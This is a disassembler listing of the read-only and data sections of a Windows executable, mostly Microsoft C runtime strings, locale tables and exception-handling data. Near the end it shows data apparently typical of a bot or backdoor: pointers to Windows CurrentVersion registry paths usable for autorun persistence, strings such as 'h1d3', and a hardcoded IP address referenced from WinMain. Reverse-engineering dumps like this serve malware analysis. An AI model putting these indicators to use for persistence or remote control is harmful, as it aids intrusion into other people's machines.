aR6009NotEnough	db 'R6009',0Dh,0Ah      ; DATA XREF: .data:004555ECo
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah      ; DATA XREF: .data:004555E4o
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_4555DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+1A4o
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE:loc_430F2Ao
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .text:00431501o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA:loc_43199Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: __alloc_osfhnd+138o
		align 10h
dword_43E770	dd 0FFFFFFFFh		; DATA XREF: ___crtGetStringTypeA+5o
		dd offset loc_432204
		dd offset loc_43220A
a_getbuf_c	db '_getbuf.c',0        ; DATA XREF: __getbuf+16o __getbuf+48o
		align 4
aMbtowc_c	db 'mbtowc.c',0         ; DATA XREF: __mbtowc_lk+21o
		align 4
; char aMb_cur_max1Mb_[]
aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: __mbtowc_lk+18o
		align 4
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: _ungetc+16o _ungetc_0+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: __tzset_lk+1D1o
; char VarName[]
VarName		db 'TZ',0               ; DATA XREF: __tzset_lk+35o
		align 10h
aInittime_c	db 'inittime.c',0       ; DATA XREF: ___init_time+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: ___init_numeric+1CFo
					; ___init_numeric+215o	...
		align 4
aInitmon_c	db 'initmon.c',0        ; DATA XREF: ___init_monetary+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: unknown_libname_24+52o
					; unknown_libname_24+6Bo ...
		align 10h
aParaguay	db 'Paraguay',0         ; DATA XREF: .data:00455C5Co
		align 4
aUruguay	db 'Uruguay',0          ; DATA XREF: .data:00455C30o
aChile		db 'Chile',0            ; DATA XREF: .data:00455C04o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: .data:00455BD8o
aArgentina	db 'Argentina',0        ; DATA XREF: .data:00455BACo
		align 10h
aPeru		db 'Peru',0             ; DATA XREF: .data:00455B80o
		align 4
aColombia	db 'Colombia',0         ; DATA XREF: .data:00455B54o
		align 4
aVenezuela	db 'Venezuela',0        ; DATA XREF: .data:00455B28o
		align 10h
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .data:00455AFCo
		align 4
aSouthAfrica	db 'South Africa',0     ; DATA XREF: .data:00455AD0o
		align 4
aPanama		db 'Panama',0           ; DATA XREF: .data:00455AA4o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .data:00455A78o
		align 4
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .data:00455A4Co
		align 4
aSwitzerland	db 'Switzerland',0      ; DATA XREF: .data:00455A20o
aGuatemala	db 'Guatemala',0        ; DATA XREF: .data:004559F4o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: .data:004559C8o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00455994o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: .data:00455970o
		align 4
aEnglish	db 'English',0          ; DATA XREF: .data:00455968o
					; .data:00455AC8o
aAustria	db 'Austria',0          ; DATA XREF: .data:00455944o
aGerman		db 'German',0           ; DATA XREF: .data:0045593Co
		align 10h
aBelgium	db 'Belgium',0          ; DATA XREF: .data:00455918o
aMexico		db 'Mexico',0           ; DATA XREF: .data:004558ECo
		align 10h
aSpanish	db 'Spanish',0          ; DATA XREF: .data:004558E4o
					; .data:004559ECo ...
aBasque		db 'Basque',0           ; DATA XREF: .data:004558B8o
		align 10h
aSweden		db 'Sweden',0           ; DATA XREF: .data:00455894o
		align 4
aSwedish	db 'Swedish',0          ; DATA XREF: .data:0045588Co
aIceland	db 'Iceland',0          ; DATA XREF: .data:00455868o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .data:00455860o
		align 4
aFrance		db 'France',0           ; DATA XREF: .data:0045583Co
		align 4
aFrench		db 'French',0           ; DATA XREF: .data:00455834o
					; .data:00455910o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: .data:00455810o
aFinnish	db 'Finnish',0          ; DATA XREF: .data:00455808o
aSpain		db 'Spain',0            ; DATA XREF: .data:off_4557E4o
					; .data:004558C0o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_4557DCo
		align 4
aUnitedStates	db 'united-states',0    ; DATA XREF: .data:00455D30o
		align 4
aUnitedKingdom	db 'united-kingdom',0   ; DATA XREF: .data:00455D28o
		align 4
aTrinidadTobago	db 'trinidad & tobago',0 ; DATA XREF: .data:00455D18o
		align 4
aSouthKorea	db 'south-korea',0      ; DATA XREF: .data:00455D10o
aSouthAfrica_0	db 'south-africa',0     ; DATA XREF: .data:00455D08o
		align 4
aSouthKorea_0	db 'south korea',0      ; DATA XREF: .data:00455D00o
aSouthAfrica_1	db 'south africa',0     ; DATA XREF: .data:00455CF8o
		align 4
aSlovak		db 'slovak',0           ; DATA XREF: .data:00455CF0o
		align 4
aPuertoRico	db 'puerto-rico',0      ; DATA XREF: .data:00455CE8o
aPrChina	db 'pr-china',0         ; DATA XREF: .data:00455CE0o
		align 4
aPrChina_0	db 'pr china',0         ; DATA XREF: .data:00455CD8o
		align 10h
aNz		db 'nz',0               ; DATA XREF: .data:00455CD0o
		align 4
aNewZealand	db 'new-zealand',0      ; DATA XREF: .data:00455CC8o
aHongKong	db 'hong-kong',0        ; DATA XREF: .data:00455CC0o
		align 4
aHolland	db 'holland',0          ; DATA XREF: .data:00455CB8o
aGreatBritain	db 'great britain',0    ; DATA XREF: .data:00455CB0o
		align 4
aEngland	db 'england',0          ; DATA XREF: .data:00455CA8o
aCzech		db 'czech',0            ; DATA XREF: .data:00455CA0o
		align 4
aChina		db 'china',0            ; DATA XREF: .data:00455C98o
		align 4
aBritain	db 'britain',0          ; DATA XREF: .data:00455C90o
aAmerica	db 'america',0          ; DATA XREF: .data:off_455C88o
aUsa		db 'usa',0              ; DATA XREF: .data:00455F40o
aUs		db 'us',0               ; DATA XREF: .data:00455D38o
					; .data:00455F38o
		align 4
aUk		db 'uk',0               ; DATA XREF: .data:00455D20o
					; .data:00455F30o
		align 4
aSwiss		db 'swiss',0            ; DATA XREF: .data:00455F28o
		align 10h
aSwedishFinland	db 'swedish-finland',0  ; DATA XREF: .data:00455F20o
aSpanishVenezue	db 'spanish-venezuela',0 ; DATA XREF: .data:00455F18o
		align 4
aSpanishUruguay	db 'spanish-uruguay',0  ; DATA XREF: .data:00455F10o
aSpanishPuertoR	db 'spanish-puerto rico',0 ; DATA XREF: .data:00455F08o
aSpanishPeru	db 'spanish-peru',0     ; DATA XREF: .data:00455F00o
		align 4
aSpanishParagua	db 'spanish-paraguay',0 ; DATA XREF: .data:00455EF8o
		align 4
aSpanishPanama	db 'spanish-panama',0   ; DATA XREF: .data:00455EF0o
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0 ; DATA XREF: .data:00455EE8o
		align 10h
aSpanishModern	db 'spanish-modern',0   ; DATA XREF: .data:00455EE0o
		align 10h
aSpanishMexican	db 'spanish-mexican',0  ; DATA XREF: .data:00455ED8o
aSpanishHondura	db 'spanish-honduras',0 ; DATA XREF: .data:00455ED0o
		align 4
aSpanishGuatema	db 'spanish-guatemala',0 ; DATA XREF: .data:00455EC8o
		align 4
aSpanishElSalva	db 'spanish-el salvador',0 ; DATA XREF: .data:00455EC0o
aSpanishEcuador	db 'spanish-ecuador',0  ; DATA XREF: .data:00455EB8o
aSpanishDominic	db 'spanish-dominican republic',0 ; DATA XREF: .data:00455EB0o
		align 4
aSpanishCostaRi	db 'spanish-costa rica',0 ; DATA XREF: .data:00455EA8o
		align 4
aSpanishColombi	db 'spanish-colombia',0 ; DATA XREF: .data:00455EA0o
		align 10h
aSpanishChile	db 'spanish-chile',0    ; DATA XREF: .data:00455E98o
		align 10h
aSpanishBolivia	db 'spanish-bolivia',0  ; DATA XREF: .data:00455E90o
aSpanishArgenti	db 'spanish-argentina',0 ; DATA XREF: .data:00455E88o
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0 ; DATA XREF: .data:00455E80o
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0 ; DATA XREF: .data:00455E78o
		align 10h
aNorwegianBokma	db 'norwegian-bokmal',0 ; DATA XREF: .data:00455E70o
		align 4
aNorwegian	db 'norwegian',0        ; DATA XREF: .data:00455E68o
		align 10h
aItalianSwiss	db 'italian-swiss',0    ; DATA XREF: .data:00455E60o
		align 10h
aIrishEnglish	db 'irish-english',0    ; DATA XREF: .data:00455E58o
		align 10h
aGermanSwiss	db 'german-swiss',0     ; DATA XREF: .data:00455E50o
		align 10h
aGermanLuxembou	db 'german-luxembourg',0 ; DATA XREF: .data:00455E48o
		align 4
aGermanLichtens	db 'german-lichtenstein',0 ; DATA XREF: .data:00455E40o
aGermanAustrian	db 'german-austrian',0  ; DATA XREF: .data:00455E38o
aFrenchSwiss	db 'french-swiss',0     ; DATA XREF: .data:00455E30o
		align 4
aFrenchLuxembou	db 'french-luxembourg',0 ; DATA XREF: .data:00455E28o
		align 4
aFrenchCanadian	db 'french-canadian',0  ; DATA XREF: .data:00455E20o
aFrenchBelgian	db 'french-belgian',0   ; DATA XREF: .data:00455E18o
		align 4
aEnglishUsa	db 'english-usa',0      ; DATA XREF: .data:00455E10o
aEnglishUs	db 'english-us',0       ; DATA XREF: .data:00455E08o
		align 4
aEnglishUk	db 'english-uk',0       ; DATA XREF: .data:00455E00o
		align 10h
aEnglishTrinida	db 'english-trinidad y tobago',0 ; DATA XREF: .data:00455DF8o
		align 4
aEnglishSouthAf	db 'english-south africa',0 ; DATA XREF: .data:00455DF0o
		align 4
aEnglishNz	db 'english-nz',0       ; DATA XREF: .data:00455DE8o
		align 10h
aEnglishJamaica	db 'english-jamaica',0  ; DATA XREF: .data:00455DE0o
aEnglishIre	db 'english-ire',0      ; DATA XREF: .data:00455DD8o
aEnglishCaribbe	db 'english-caribbean',0 ; DATA XREF: .data:00455DD0o
		align 10h
aEnglishCan	db 'english-can',0      ; DATA XREF: .data:00455DC8o
aEnglishBelize	db 'english-belize',0   ; DATA XREF: .data:00455DC0o
		align 4
aEnglishAus	db 'english-aus',0      ; DATA XREF: .data:00455DB8o
aEnglishAmerica	db 'english-american',0 ; DATA XREF: .data:00455DB0o
		align 4
aDutchBelgian	db 'dutch-belgian',0    ; DATA XREF: .data:00455DA8o
		align 4
aChineseTraditi	db 'chinese-traditional',0 ; DATA XREF: .data:00455DA0o
aChineseSingapo	db 'chinese-singapore',0 ; DATA XREF: .data:00455D98o
		align 4
aChineseSimplif	db 'chinese-simplified',0 ; DATA XREF: .data:00455D90o
		align 4
aChineseHongkon	db 'chinese-hongkong',0 ; DATA XREF: .data:00455D88o
		align 4
aChinese	db 'chinese',0          ; DATA XREF: .data:00455D80o
aChi		db 'chi',0              ; DATA XREF: .data:00455D78o
aChh		db 'chh',0              ; DATA XREF: .data:00455D70o
aCanadian	db 'canadian',0         ; DATA XREF: .data:00455D68o
		align 4
aBelgian	db 'belgian',0          ; DATA XREF: .data:00455D60o
aAustralian	db 'australian',0       ; DATA XREF: .data:00455D58o
		align 4
aAmericanEnglis	db 'american-english',0 ; DATA XREF: .data:00455D50o
		align 10h
aAmericanEngl_0	db 'american english',0 ; DATA XREF: .data:00455D48o
		align 4
aAmerican	db 'american',0         ; DATA XREF: .data:off_455D40o
		align 10h
; char aOcp[]
aOcp		db 'OCP',0              ; DATA XREF: _ProcessCodePage:loc_436703o
; char aAcp[]
aAcp		db 'ACP',0              ; DATA XREF: _ProcessCodePage+16o
aChsize_c	db 'chsize.c',0         ; DATA XREF: __chsize_lk+38o
		align 4
; char aSize0[]
aSize0		db 'size >= 0',0        ; DATA XREF: __chsize_lk+2Co
		align 10h
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_437FDFo
		align 4
; char a1Inf[]
a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+19Bo
		align 10h
; char a1Ind[]
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+168o
		align 4
; char a1Snan[]
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+125o
		align 10h
aHMmSs		db 'H:mm:ss',0          ; DATA XREF: .data:00455FF8o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00455FF4o
aMDYy		db 'M/d/yy',0           ; DATA XREF: .data:00455FF0o
		align 4
aPm_2		db 'PM',0               ; DATA XREF: .data:00455FECo
		align 4
aAm_0		db 'AM',0               ; DATA XREF: .data:00455FE8o
		align 4
aDecember	db 'December',0         ; DATA XREF: .data:00455FE4o
		align 4
aNovember	db 'November',0         ; DATA XREF: .data:00455FE0o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:00455FDCo
aSeptember	db 'September',0        ; DATA XREF: .data:00455FD8o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:00455FD4o
		align 10h
aJuly		db 'July',0             ; DATA XREF: .data:00455FD0o
		align 4
aJune		db 'June',0             ; DATA XREF: .data:00455FCCo
		align 10h
aApril		db 'April',0            ; DATA XREF: .data:00455FC4o
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:00455FC0o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: .data:00455FBCo
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:00455FB8o
aDec		db 'Dec',0              ; DATA XREF: .data:00455FB4o
aNov		db 'Nov',0              ; DATA XREF: .data:00455FB0o
aOct		db 'Oct',0              ; DATA XREF: .data:00455FACo
aSep		db 'Sep',0              ; DATA XREF: .data:00455FA8o
aAug		db 'Aug',0              ; DATA XREF: .data:00455FA4o
aJul		db 'Jul',0              ; DATA XREF: .data:00455FA0o
aJun		db 'Jun',0              ; DATA XREF: .data:00455F9Co
aMay		db 'May',0              ; DATA XREF: .data:00455F98o
					; .data:00455FC8o
aApr		db 'Apr',0              ; DATA XREF: .data:00455F94o
aMar		db 'Mar',0              ; DATA XREF: .data:00455F90o
aFeb		db 'Feb',0              ; DATA XREF: .data:00455F8Co
aJan		db 'Jan',0              ; DATA XREF: .data:00455F88o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:00455F84o
		align 10h
aFriday		db 'Friday',0           ; DATA XREF: .data:00455F80o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .data:00455F7Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:00455F78o
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:00455F74o
aMonday		db 'Monday',0           ; DATA XREF: .data:00455F70o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: .data:00455F6Co
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:00455F68o
aFri		db 'Fri',0              ; DATA XREF: .data:00455F64o
aThu		db 'Thu',0              ; DATA XREF: .data:00455F60o
aWed		db 'Wed',0              ; DATA XREF: .data:00455F5Co
aTue		db 'Tue',0              ; DATA XREF: .data:00455F58o
aMon		db 'Mon',0              ; DATA XREF: .data:00455F54o
aSun		db 'Sun',0              ; DATA XREF: .data:off_455F50o
; char aAP[]
aAP		db 'a/p',0              ; DATA XREF: sub_439390:loc_439583o
; char aAmPm[]
aAmPm		db 'am/pm',0            ; DATA XREF: sub_439390:loc_439563o
		align 10h
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_439950+9Co
					; sub_439950+F1o
		align 10h
dword_43F040	dd 0FFFFFFFFh		; DATA XREF: ___crtGetStringTypeW+5o
		dd offset loc_439D17
		dd offset loc_439D1D
		dd 0FFFFFFFFh
		dd offset loc_439D96
		dd offset loc_439D9C
aWtombenv_c	db 'wtombenv.c',0       ; DATA XREF: ___wtomb_environ+44o
		align 8
dword_43F068	dd 0FFFFFFFFh		; DATA XREF: ___crtGetLocaleInfoW+5o
		dd offset loc_43A7CD
		dd offset loc_43A7D3
		align 8
dword_43F078	dd 0FFFFFFFFh		; DATA XREF: ___crtGetLocaleInfoA+5o
		dd offset loc_43A96F
		dd offset loc_43A975
aA_cmp_c	db 'a_cmp.c',0          ; DATA XREF: ___crtCompareStringA+17Fo
; char aCchcount10Cchc[]
aCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: ___crtCompareStringA:loc_43AB93o
		align 10h
dword_43F0D0	dd 0FFFFFFFFh		; DATA XREF: ___crtCompareStringA+5o
		dd offset loc_43ACFF
		dd offset loc_43AD05
		dd 0FFFFFFFFh
		dd offset loc_43AD9D
		dd offset loc_43ADA3
aSetenv_c	db 'setenv.c',0         ; DATA XREF: ___crtsetenv+B2o
					; ___crtsetenv+F2o ...
		align 4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_43B3B0+1Fo
		dd offset dword_43F200
off_43F108	dd offset sub_43B530	; DATA XREF: sub_43B410+44o
					; sub_43B4D0+1Fo ...
		dd offset sub_43B480	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43B4A0
		dd offset dword_43F250
off_43F118	dd offset sub_43B650	; DATA XREF: sub_43B560+16o
					; sub_43B600+Ao ...
		dd offset sub_43B480	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43B620
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_43B6B0+1Fo
		dd offset dword_43F2A0
off_43F140	dd offset sub_43B790	; DATA XREF: sub_43B710+16o
					; sub_43B740+Ao ...
		dd offset sub_43B480	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43B760
		dd offset dword_43F2D0
off_43F150	dd offset ??_Gexception@@UAEPAXI@Z ; DATA XREF:	.text:0043BE5Ao
					; exception::exception(char const * const &)+Co ...
					; exception::`scalar deleting destructor'(uint)
		dd offset ?what@exception@@UBEPBDXZ ; exception::what(void)
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: exception::what(void):loc_43C038o
		align 4
		dd offset dword_43F318
off_43F170	dd offset ??_Gtype_info@@UAEPAXI@Z
					; DATA XREF: type_info::~type_info(void)+Ao
					; type_info::type_info(type_info const &)+Ao ...
					; type_info::`scalar deleting destructor'(uint)
		align 8
dword_43F178	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	_CxxThrowException(x,x)+Do
		dd 3, 19930520h, 2 dup(0)
dword_43F198	dd 0FFFFFFFFh		; DATA XREF: ___crtLCMapStringW+5o
		dd offset loc_43C4BF
		dd offset loc_43C4C5
		dd 0FFFFFFFFh
		dd offset loc_43C564
		dd offset loc_43C56A
off_43F1B0	dd offset off_456300	; DATA XREF: .rdata:0043F1E4o
					; .rdata:0043F238o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43F1C8	dd offset off_456318	; DATA XREF: .rdata:off_43F1E0o
					; .rdata:0043F234o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43F1E0	dd offset off_43F1C8	; DATA XREF: .rdata:0043F1FCo
		dd offset off_43F1B0
dword_43F1E8	dd 4 dup(0)		; DATA XREF: .rdata:0043F210o
		dd 2
		dd offset off_43F1E0
dword_43F200	dd 3 dup(0)		; DATA XREF: .rdata:0043F104o
		dd offset off_456318
		dd offset dword_43F1E8+8
		align 8
off_43F218	dd offset off_456338	; DATA XREF: .rdata:off_43F230o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43F230	dd offset off_43F218	; DATA XREF: .rdata:0043F24Co
		dd offset off_43F1C8
		dd offset off_43F1B0
dword_43F23C	dd 3 dup(0)		; DATA XREF: .rdata:0043F260o
		dd 3
		dd offset off_43F230
dword_43F250	dd 3 dup(0)		; DATA XREF: .rdata:0043F114o
		dd offset off_456338
		dd offset dword_43F23C+4
		align 8
off_43F268	dd offset off_456358	; DATA XREF: .rdata:off_43F280o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43F280	dd offset off_43F268	; DATA XREF: .rdata:0043F29Co
		dd offset off_43F1C8
		dd offset off_43F1B0
dword_43F28C	dd 3 dup(0)		; DATA XREF: .rdata:0043F2B0o
		dd 3
		dd offset off_43F280
dword_43F2A0	dd 3 dup(0)		; DATA XREF: .rdata:0043F13Co
		dd offset off_456358
		dd offset dword_43F28C+4
off_43F2B4	dd offset off_43F1B0	; DATA XREF: .rdata:0043F2CCo
dword_43F2B8	dd 4 dup(0)		; DATA XREF: .rdata:0043F2E0o
		dd 1
		dd offset off_43F2B4
dword_43F2D0	dd 3 dup(0)		; DATA XREF: .rdata:0043F14Co
		dd offset off_456300
		dd offset dword_43F2B8+8
		align 8
off_43F2E8	dd offset off_456378	; DATA XREF: .rdata:off_43F300o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43F300	dd offset off_43F2E8	; DATA XREF: .rdata:0043F314o
		dd 0
		db    0			; DATA XREF: .rdata:0043F328o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1
		dd offset off_43F300
dword_43F318	dd 3 dup(0)		; DATA XREF: .rdata:0043F16Co
		dd offset off_456378
		dd offset unk_43F308
		align 10h
dword_43F330	dd 19930520h, 2		; DATA XREF: .text:loc_43C78Fo
		dd offset dword_43F350
		dd 5 dup(0)
dword_43F350	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F338o
		dd offset sub_43C778
		dd 0
		dd offset sub_43C770
dword_43F360	dd 19930520h, 2		; DATA XREF: .text:loc_43C7A9o
		dd offset dword_43F380
		dd 5 dup(0)
dword_43F380	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F368o
		dd offset sub_43C799
		dd 0
		dd offset sub_43C7A1
dword_43F390	dd 19930520h, 2		; DATA XREF: .text:loc_43C7B4o
		dd offset dword_43F3B0
		dd 1
		dd offset dword_43F3C0
		align 10h
dword_43F3B0	dd 0FFFFFFFFh, 0	; DATA XREF: .rdata:0043F398o
		dd 0FFFFFFFFh, 0
dword_43F3C0	dd 2 dup(0)		; DATA XREF: .rdata:0043F3A0o
		dd 2 dup(1)
		dd offset dword_43F3D8
		align 8
dword_43F3D8	dd 3 dup(0)		; DATA XREF: .rdata:0043F3D0o
		dd offset loc_40E1ED
dword_43F3E8	dd 0			; DATA XREF: .rdata:0043F454o
					; .rdata:0043F4C0o ...
		dd offset off_456300
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch
		dd offset ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
dword_43F404	dd 2 dup(0)		; DATA XREF: .rdata:0043F450o
					; .rdata:0043F4BCo ...
		dd offset off_456318
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43B410
dword_43F424	dd 2 dup(0)		; DATA XREF: .rdata:0043F44Co
		dd offset off_456338
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43B680
		align 8
dword_43F448	dd 3			; DATA XREF: .rdata:0043F464o
		dd offset dword_43F424+4
		dd offset dword_43F404+4
		dd offset dword_43F3E8
dword_43F458	dd 0			; DATA XREF: sub_43B3B0+3Fo
					; sub_43B620+15o
		dd offset sub_43B600
		dd 0
		dd offset dword_43F448
dword_43F468	dd 19930520h, 1		; DATA XREF: SEH_43B3B0o
		dd offset dword_43F488
		dd 5 dup(0)
dword_43F488	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F470o
		dd offset sub_43C7C0
dword_43F490	dd 19930520h, 1		; DATA XREF: SEH_43B410o
		dd offset dword_43F4B0
		dd 5 dup(0)
dword_43F4B0	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F498o
		dd offset sub_43C7E0
dword_43F4B8	dd 2			; DATA XREF: .rdata:0043F4D4o
		dd offset dword_43F404+4
		dd offset dword_43F3E8
		align 8
dword_43F4C8	dd 0			; DATA XREF: sub_43B4A0+15o
		dd offset sub_43B4D0
		dd 0
		dd offset dword_43F4B8
dword_43F4D8	dd 19930520h, 1		; DATA XREF: SEH_43B4D0o
		dd offset dword_43F4F8
		dd 5 dup(0)
dword_43F4F8	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F4E0o
		dd offset sub_43C800
dword_43F500	dd 19930520h, 1		; DATA XREF: SEH_43B590o
		dd offset dword_43F520
		dd 5 dup(0)
dword_43F520	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F508o
		dd offset sub_43C820
dword_43F528	dd 0			; DATA XREF: .rdata:0043F54Co
		dd offset off_456358
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43B7C0
		align 8
dword_43F548	dd 3			; DATA XREF: .rdata:0043F564o
		dd offset dword_43F528
		dd offset dword_43F404+4
		dd offset dword_43F3E8
dword_43F558	dd 0			; DATA XREF: sub_43B6B0+3Fo
					; sub_43B760+15o
		dd offset sub_43B740
		dd 0
		dd offset dword_43F548
dword_43F568	dd 19930520h, 1		; DATA XREF: SEH_43B6B0o
		dd offset dword_43F588
		dd 5 dup(0)
dword_43F588	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043F570o
		dd offset sub_43C840
_rdata		ends

; Section 3. (virtual address 00040000)
; Virtual size			: 000B5EBD ( 745149.)
; Section size in file		: 000B5EBD ( 745149.)
; Offset to raw	data for section: 00040000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 440000h
dword_440000	dd 0			; DATA XREF: __cinit+29o
		dd offset loc_4013FF
		dd offset sub_40DCF5
		dd offset sub_40E2FE
		dd offset sub_40F17C
		dd offset unknown_libname_31 ; Microsoft VisualC 2-8/net runtime
dword_440018	dd 0			; DATA XREF: __cinit+24o
dword_44001C	dd 0			; DATA XREF: __cinit+17o
		dd offset ___onexitinit
		dd offset ___initstdio
		dd offset ___initmbctable
		dd offset ?__CxxSetUnhandledExceptionFilter@@YAXXZ ; __CxxSetUnhandledExceptionFilter(void)
dword_440030	dd 0			; DATA XREF: __cinit:loc_41F692o
dword_440034	dd 0			; DATA XREF: _doexit+76o
		dd offset ___endstdio
dword_44003C	dd 0			; DATA XREF: _doexit:loc_41F7B1o
dword_440040	dd 0			; DATA XREF: _doexit+88o
		dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void)
dword_440048	dd 2 dup(0)		; DATA XREF: _doexit:loc_41F7C3o
dword_440050	dd 80000002h		; DATA XREF: sub_401000+7o
		dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h
		dd offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000001h
		dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dword_440068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo
dword_44006C	dd 1639h		; DATA XREF: WinMain(x,x,x,x)+4A4r
					; WinMain(x,x,x,x)+539r
dword_440070	dd 0F51h		; DATA XREF: WinMain(x,x,x,x)+585r
dword_440074	dd 7E4h			; DATA XREF: sub_401CC7:loc_40481Er
dword_440078	dd 45h			; DATA XREF: sub_401CC7+2048r
					; sub_40C165+3Br
dword_44007C	dd 50h			; DATA XREF: sub_401CC7:loc_403DFDr
					; sub_40C165:loc_40C556r
dword_440080	dd 20Bh			; DATA XREF: sub_401CC7:loc_403F89r
word_440084	dw 7C7h			; DATA XREF: sub_401CC7:loc_404941r
		align 4
dword_440088	dd 1			; DATA XREF: sub_401CC7+62Ar
dword_44008C	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_40175Cr
					; sub_41912E+Cr
byte_440090	db 2Eh			; DATA XREF: sub_401CC7+A5Er
					; sub_401CC7+B18r ...
		align 4
dword_440094	dd 5			; DATA XREF: sub_40B0A2+3Ar
					; sub_40B0A2+60r ...
; int dword_440098
dword_440098	dd 4			; DATA XREF: sub_4019E7+78r
					; sub_401CC7+270r ...
; int dword_44009C
dword_44009C	dd 1			; DATA XREF: sub_4019E7+72r
					; sub_401CC7+26Ar
; char aK3y[]
aK3y		db 'k3y',0              ; DATA XREF: WinMain(x,x,x,x)+5Do
					; sub_401CC7:loc_40468Fo ...
aH1d3		db 'h1d3',0             ; DATA XREF: sub_401CC7:loc_404B48o
		align 4
; char aIkke[]
aIkke		db 'ikke',0             ; DATA XREF: sub_401CC7+7ED4o
					; sub_401CC7+7FA3o
		align 4
; char Source[]
Source		db '69.14.32.48',0      ; DATA XREF: WinMain(x,x,x,x)+490o
					; WinMain(x,x,x,x)+52Ao
; char aPiavnc[]
